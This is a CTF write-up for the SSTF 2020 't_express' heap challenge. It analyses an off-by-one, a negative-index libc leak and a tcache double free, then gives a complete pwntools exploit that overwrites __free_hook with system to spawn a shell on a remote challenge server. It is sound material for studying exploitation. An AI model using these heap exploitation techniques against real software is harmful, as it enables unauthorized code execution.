Gravitational plate of three masses and a slashed discABC0Static engraved plate. Three-dimensional view is unavailable or reduced motion is requested.

← back to fieldarticle

articleSep 18, 2020

SSTF 2020 t_express Writeup

Heap note on t_express: off-by-one ticket_type overwrite, negative index stderr leak, tcache key forge for double free, then __free_hook to system.

Vulnerability analysis

Binary overview

Protections

./0.png
./0.png

security check

  • CANARY
  • NX
  • PIE
  • RELRO

Binary info

ELF 64-bit LSB shared object
x86-64, version 1 (SYSV)
dynamically linked
interpreter /lib64/ld-linux-x86-64.so.2
for GNU/Linux 3.2.0
BuildID[sha1]=842cbd24d75c0dea40dc2e06f4996948eb59a897
with debug_info
not stripped

Binary analysis

Control flow

./1.png
./1.png

main output

  • Four menu choices: Buy, View, Use, Exit.

Buy menu

./2.png
./2.png

Buy menu

  • Two ticket kinds: One ride ticket and One day ticket. Inputs land in First name and Last name.
  • One day ticket also presets options printed as 3 meals, 1 safari pass, unlimited rides, 1 giftshop coupon.

View menu

./3.png
./3.png
{: width="60%" height="60%"}

View menu

Use menu

  • Prints tickets by index, which suggests a struct array.

./4.png
./4.png
{: width="60%" height="60%"}

Use menu

  • Index 0 prints Thank you Have a good time!. Index 1 lets you tweak more struct fields.
  • Index 0 is the Buy menu's first option, One ride ticket.

main

./5.png
./5.png

main function

  • Menu handlers:

    • buy_ticket()
    • view_ticket()
    • use_ticket()
    • exit()
  • Each case calls the matching function.

  • The loop exits through exit().

buy_ticket

./6.png
./6.png

pass5 struct

  • Instance p is a double pointer to pass5.
  • The fields match what dynamic analysis suggested.
  • Global passes is an array of those struct pointers.

./7.png
./7.png

pass5 reconstructed

  • Rebuilt the IDA layout in C.
  • pass5 is 0x30 bytes.

./8.png
./8.png

inside buy_ticket

  • The check region compares against the array capacity: 48/8+148/8+1, so at most seven heap chunks.
  • Past that limit it prints Sold out! and returns.
  • One ride ticket writes ticket_type, firstname, lastname.
  • One day ticket fills every member.

./9.png
./9.png

writing pass5 fields

  • With firstname/lastname set to AAAA/BBBB, the heap looks like the screenshot.
  • User input only hits those two fields, both through read_str with an 8-byte length.

read_str (off-by-one)

./10.png
./10.png

read_str

  • First arg is the name buffer; second is fixed at 8.
  • It reads with read and does basic error handling.
  • Then it does buf[len] = 0. If the caller typed a full 8 bytes, len is 8, so buf[8] = 0 overflows one byte into the next field.

view_ticket (OOB / signed index)

./11.png
./11.png

view_ticket

  • Prints a ticket by index from the passes array created in Buy.
  • index is a signed int. There is no negative check, so a negative index walks elsewhere in memory.

./12.png
./12.png

stderr ↔ passes

  • On .bss, passes and stderr are 0x20 apart. Index -4 lands on stderr, and the print path leaks that pointer.
  • From the leak you recover libc base and other offsets.

use_ticket (double free)

./13.png
./13.png

  • Unlike View, this index is unsigned.
  • When ticket_type matches, the ticket can be freed.
  • A One-ride-ticket with ticket_type == 1 frees immediately into tcache.

./14.png
./14.png

when ticket_type is 0

./15.png
./15.png
{: width="50%" height="50%"}

free condition

  • After the option counters run down, free happens only when meal_ticket, safari_pass, and giftshop_coupon are all 0.
  • The function can free twice and never nulls the pointer, so a double-free path exists.

./16.png
./16.png

Double Free

  • First free: drive the counters to zero. After that they stay zero, so you cannot replay the same path. You need another way to free again.

Heap layout

./17.png
./17.png

heap chunk

  • Layout of an allocated pass5 chunk.

Free path

./18.png
./18.png

free1

  • Allocate both ticket types so you have two chunks.
  • Off-by-one on the ride ticket's lastname nulls the next chunk's ticket_type, so the day ticket becomes editable through use_ticket as if it were type 0.
  • glibc ≥ 2.29 checks tcache double frees: the freed pointer is stored in tcache_entry.key, and a second free of the same pointer with the same key aborts.
  • Bypass: change key before the second free. key sits where lastname lives in pass5.

./19.png
./19.png

Double Free Bug

  • With passes[0]'s type corrupted, bumping ride_count flips one byte of the neighboring chunk's key.
  • Second free then succeeds.

Exploit path

Attack plan

  • Leak libc: View with index -4 to print stderr, subtract the libc offset.
  • Buy two tickets (ride + day). Fill the ride lastname with 8 bytes to trigger off-by-one.
  • Free the day ticket once.
  • Use the ride ticket to bump ride_count, corrupt the day ticket's tcache key, free the day ticket again. Repeat twice to stage chunks.
  • After double free, three tcache entries alias the same address. Allocate:
    • first: __free_hook address
    • second: "/bin/sh\x00"
    • third: system address
  • Free the chunk holding "/bin/sh\x00" so the hooked free becomes system("/bin/sh").

Helpers

from pwn import *
 
e = ELF('./t_express')
l = ELF('./libc.so.6')
p = process('./t_express')
# p = remote('ctf.campus.theori.io', 7079)
 
def Buy(num, first, last):
    log.info(p.sendafter("choice: ", "1"))
    log.info(p.sendafter("(1/2): ", str(num))+str(num))
    log.info(p.sendafter("First name: ", str(first)) + str(first))
    log.info(p.sendafter("Last name: ", str(last)) + str(last))
 
def View(idx):
    log.info(p.sendafter("choice: ", "2"))
    log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
    # leak (lib_base)
    if idx < 0:
        log.info(p.recvuntil("|name |"))
        lib_base = u64(p.recvline()[-9:-3].ljust(8, '\x00')
                       ) - 0x83 - l.sym['_IO_2_1_stderr_']
        log.info("lib_base : " + hex(lib_base) )
        return lib_base
    else:
        log.info(p.recvuntil("==========================\n"))
        log.info(p.recvuntil("==========================\n"))
 
def Use(idx, num):
    log.info(p.sendafter("choice: ", "3"))
    log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
    log.info(p.sendafter("(1/2/3/4): ", str(num)) + str(num))
 
def _free(idx):
    for i in range(0,3):
        Use(idx, 1)
    Use(idx, 2)
    Use(idx, 3)

Libc leak

def View(idx):
    log.info(p.sendafter("choice: ", "2"))
    log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
    # leak (lib_base)
    if idx < 0:
        log.info(p.recvuntil("|name |"))
        lib_base = u64(p.recvline()[-9:-3].ljust(8, '\x00')
                       ) - 0x83 - l.sym['_IO_2_1_stderr_']
        log.info("lib_base : " + hex(lib_base) )
        return lib_base
    else:
        log.info(p.recvuntil("==========================\n"))
        log.info(p.recvuntil("==========================\n"))

./20.png
./20.png

libc base

Off-by-one to clear ticket_type

Buy(1, "AAAA", "BBBBBBBB")
Buy(2, "AAAA", "BBBB")

./21.png
./21.png

first allocations

First free and key check

_free(1)

./22.png
./22.png

key after free

Corrupt key and double free

for i in range(0,2):
    Use(0, 4)
    Use(1, 4)

./23.png
./23.png

key corruption

  • Corrupt and free twice.

./24.png
./24.png

Double Free Bug

  • Three tcache entries; FD points at self — classic double free.

Overwrite __free_hook

Buy(2, p64(free_hook), "BBBB")
Buy(2, "/bin/sh\x00", "BBBB")
Buy(2, p64(lib_system), "BBBB")
  • glibc exposes __malloc_hook / __free_hook. Put a function pointer there and the next free/malloc calls your hook instead.
  • First same-size alloc overwrites FD with __free_hook, so the next free-list entry targets the hook.

./25.png
./25.png

tcache dup

  • Second chunk gets "/bin/sh\x00". Third writes system into __free_hook. Freeing the shell string runs system("/bin/sh\x00").

./26.png
./26.png

flag

  • Flag recovered.

Full exploit

from pwn import *
 
e = ELF('./t_express')
l = ELF('./libc.so.6')
# p = process('./t_express')
p = remote('ctf.campus.theori.io', 7079)
 
def Buy(num, first, last):
    log.info(p.sendafter("choice: ", "1"))
    log.info(p.sendafter("(1/2): ", str(num))+str(num))
    log.info(p.sendafter("First name: ", str(first)) + str(first))
    log.info(p.sendafter("Last name: ", str(last)) + str(last))
 
def View(idx):
    log.info(p.sendafter("choice: ", "2"))
    log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
    # leak (lib_base)
    if idx < 0:
        log.info(p.recvuntil("|name |"))
        lib_base = u64(p.recvline()[-9:-3].ljust(8, '\x00')
                       ) - 0x83 - l.sym['_IO_2_1_stderr_']
        log.info("lib_base : " + hex(lib_base) )
        return lib_base
    else:
        log.info(p.recvuntil("==========================\n"))
        log.info(p.recvuntil("==========================\n"))
 
def Use(idx, num):
    log.info(p.sendafter("choice: ", "3"))
    log.info(p.sendafter("Index of ticket: ", str(idx)) + str(idx))
    log.info(p.sendafter("(1/2/3/4): ", str(num)) + str(num))
 
def _free(idx):
    for i in range(0,3):
        Use(idx, 1)
    Use(idx, 2)
    Use(idx, 3)
 
lib_base = View(-4)
 
Buy(1, "AAAA", "BBBBBBBB")
Buy(2, "AAAA", "BBBB")
 
_free(1)
 
for i in range(0,2):
    Use(0, 4)
    Use(1, 4)
 
lib_system = lib_base + l.sym['system']
free_hook = lib_base + l.sym['__free_hook']
 
log.info(hex(lib_system))
log.info(hex(free_hook))
 
Buy(2, p64(free_hook), "BBBB")
Buy(2, "/bin/sh\x00", "BBBB")
Buy(2, p64(lib_system), "BBBB")
 
_free(3)
p.interactive()

related

  1. Mar 30, 2021/archiveWindows heap management layers
  2. Mar 1, 2021/articleLinked-List Attack Surface on Intel (Structure Notes)
  3. Sep 18, 2020/articleDEF CON 2016 feedme Vulnerability Analysis

graphfeed